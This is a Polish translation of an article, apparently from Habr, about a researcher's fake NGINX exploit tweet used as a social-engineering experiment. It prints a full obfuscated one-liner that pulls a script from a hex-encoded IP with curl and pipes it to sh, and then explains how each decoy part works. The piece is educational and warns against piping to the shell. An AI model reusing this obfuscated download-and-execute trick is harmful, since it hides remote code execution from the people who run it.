Sukces eksperymentu społecznego z fałszywym exploitem nginx

Notatka. przeł.: autor w oryginalnej notatce opublikowanej 1 czerwca postanowiono przeprowadzić eksperyment wśród osób zainteresowanych bezpieczeństwem informacji. W tym celu przygotował fałszywego exploita wykorzystującego nieujawnioną lukę w serwerze internetowym i opublikował go na swoim Twitterze. Jego założenia – mające zostać natychmiast zdemaskowane przez specjalistów, którzy dostrzegliby oczywiste oszustwo w kodzie – nie tylko się nie spełniły… Przerosły wszelkie oczekiwania, i wręcz przeciwnie: tweet spotkał się z ogromnym poparciem wielu osób, które tego nie zrobiły sprawdź jego zawartość.

TL; DR: W żadnym wypadku nie używaj potokowania plików w sh lub bash. To świetny sposób na utratę kontroli nad komputerem.

Chcę podzielić się z Wami krótką historią dotyczącą komicznego exploita PoC, który powstał 31 maja. Pojawił się natychmiast w odpowiedzi na wieści z Alisa Esage Szewczenko, członek Inicjatywa Zero Day (ZDI), że wkrótce ujawniona zostanie informacja o luce w NGINX umożliwiającej RCE (zdalne wykonanie kodu). Ponieważ NGINX obsługuje wiele stron internetowych, wiadomość musiała być bombą. Jednak ze względu na opóźnienia w procesie „odpowiedzialnego ujawniania informacji” szczegóły tego, co się stało, nie były znane – jest to standardowa procedura ZDI.

Ćwierkać o ujawnieniu podatności w NGINX

Po zakończeniu pracy nad nową techniką zaciemniania w curl zacytowałem oryginalny tweet i „wyciekłem działający PoC” składający się z pojedynczej linii kodu, który rzekomo wykorzystuje odkrytą lukę. Oczywiście była to kompletna bzdura. Zakładałem, że natychmiast zostanę zdemaskowany i że w najlepszym razie dostanę kilka retweetów (no cóż).

Ćwierkać z fałszywym exploitem

Nie potrafiłem jednak sobie wyobrazić, co stało się później. Popularność mojego tweeta gwałtownie wzrosła. Co zaskakujące, w tej chwili (15 czerwca o godzinie 00:1 czasu moskiewskiego) niewiele osób zdało sobie sprawę, że to podróbka. Wiele osób przesyła dalej ten post bez sprawdzania tego w ogóle (nie mówiąc już o podziwianiu pięknej grafiki ASCII, jaką generuje).

Tylko spójrz, jakie to piękne!

Chociaż wszystkie te pętle i kolory są świetne, jasne jest, że ludzie musieli uruchomić kod na swojej maszynie, aby je zobaczyć. Na szczęście przeglądarki działają w ten sam sposób, a w połączeniu z faktem, że nie chciałem wdawać się w kłopoty prawne, kod ukryty w mojej witrynie po prostu wykonywał wywołania echa bez próby instalowania lub wykonywania jakiegokolwiek dodatkowego kodu.

Mała dygresja: Netspooky, DNZ, ja i pozostali członkowie zespołu Tłum bandytów Od jakiegoś czasu bawimy się różnymi sposobami zaciemniania poleceń curl, ponieważ jest to fajne... a my jesteśmy maniakami. netspooky i dnz odkryli kilka nowych metod, które wydały mi się niezwykle obiecujące. Przyłączyłem się do zabawy i próbowałem dodać do zestawu sztuczek konwersje dziesiętne IP. Okazuje się, że adres IP można również skonwertować do formatu szesnastkowego. Co więcej, curl i większość innych narzędzi NIX chętnie zjada szesnastkowe adresy IP! Pozostała więc tylko kwestia stworzenia przekonującej i bezpiecznie wyglądającej linii poleceń. Ostatecznie zdecydowałem się na ten:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Inżynieria społeczno-elektroniczna (SEE) – coś więcej niż tylko phishing

Bezpieczeństwo i znajomość były głównymi elementami tego eksperymentu. Myślę, że to oni zadecydowali o jego sukcesie. Wiersz poleceń wyraźnie sugerował bezpieczeństwo, odwołując się do „127.0.0.1” (dobrze znanego hosta lokalnego). Localhost jest uważany za bezpieczny, a dane na nim nigdy nie opuszczają Twojego komputera.

Znajomość była drugim kluczowym elementem eksperymentu dotyczącym SEE. Ponieważ docelową grupą odbiorców były głównie osoby zaznajomione z podstawami bezpieczeństwa komputerowego, ważne było utworzenie kodu w taki sposób, aby jego części wydawały się znajome i znajome (a zatem bezpieczne). Pożyczanie elementów starych koncepcji exploitów i łączenie ich w nietypowy sposób okazało się bardzo skuteczne.

Poniżej znajduje się szczegółowa analiza jednoliniowca. Wszystko z tej listy się nosi charakter kosmetycznyi praktycznie nic nie jest potrzebne do jego faktycznej pracy.

Jakie komponenty są naprawdę potrzebne? Ten -gsS, -O 0x0238f06a, |sh i sam serwer WWW. Serwer WWW nie zawierał żadnych złośliwych instrukcji, a jedynie udostępniał grafikę ASCII za pomocą poleceń echo w skrypcie zawartym w index.html. Gdy użytkownik wprowadził linię z |sh pośrodku, index.html załadowane i wykonane. Na szczęście opiekunowie serwera internetowego nie mieli złych zamiarów.

• ../../../%00 — reprezentuje wyjście poza katalog;
• ngx_stream_module.so — ścieżka do losowego modułu NGINX;
• /bin/sh%00<'protocol:TCP' - podobno startujemy /bin/sh na maszynie docelowej i przekieruj wyjście do kanału TCP;
• -O 0x0238f06a#PLToffset - sekretny składnik, uzupełniony #PLToffset, aby wyglądać jak przesunięcie pamięci zawarte w PLT;
• |sh; - kolejny ważny fragment. Musieliśmy przekierować dane wyjściowe do sh/bash, aby wykonać kod pochodzący z atakującego serwera internetowego zlokalizowanego pod adresem 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - manekin, do którego odnosi się netcat /dev/tcp/localhostaby wszystko znowu wyglądało bezpiecznie. Tak naprawdę nie robi nic i zalicza się do kategorii urody.

Na tym kończy się dekodowanie jednowierszowego skryptu i dyskusja na temat aspektów „inżynierii socjoelektronicznej” (skomplikowany phishing).

Konfiguracja serwera WWW i środki zaradcze

Ponieważ zdecydowana większość moich subskrybentów to informatycy/hakerzy, postanowiłem uczynić serwer WWW nieco bardziej odpornym na wyrażanie „zainteresowania” z ich strony, tak żeby chłopaki mieli co robić (a byłoby fajnie organizować coś). Nie będę tutaj wymieniał wszystkich pułapek, ponieważ eksperyment wciąż trwa, ale oto kilka rzeczy, które robi serwer:

• Aktywnie monitoruje próby dystrybucji w niektórych sieciach społecznościowych i podmienia różne miniatury podglądu, aby zachęcić użytkownika do kliknięcia linku.
• Przekierowuje Chrome/Mozilla/Safari/etc do filmu promocyjnego Thugcrowd zamiast pokazywać skrypt powłoki.
• Wyszukuje OCZYWISTE oznaki włamania/rażącego włamania, a następnie zaczyna przekierowywać żądania do serwerów NSA (ha!).
• Instaluje trojana oraz rootkita BIOS-u na wszystkich komputerach, których użytkownicy odwiedzają hosta za pomocą zwykłej przeglądarki (tylko żartuję!).

Niewielka część antymerów

W tym przypadku moim jedynym celem było opanowanie niektórych funkcji Apache – w szczególności fajnych zasad przekierowywania żądań – i pomyślałem: czemu nie?

Exploit NGINX (prawdziwy!)

Subskrybuj @alisaesage na Twitterze i śledź wspaniałą pracę ZDI w usuwaniu bardzo realnych luk w zabezpieczeniach i wykorzystywaniu możliwości w NGINX. Ich prace zawsze mnie fascynowały i jestem wdzięczny Alice za jej cierpliwość wobec wszystkich wzmianek i powiadomień spowodowanych moim głupim tweetem. Na szczęście zrobiło to też coś dobrego: pomogło zwiększyć świadomość na temat luk w zabezpieczeniach NGINX, a także problemów spowodowanych nadużywaniem curl.

Źródło: www.habr.com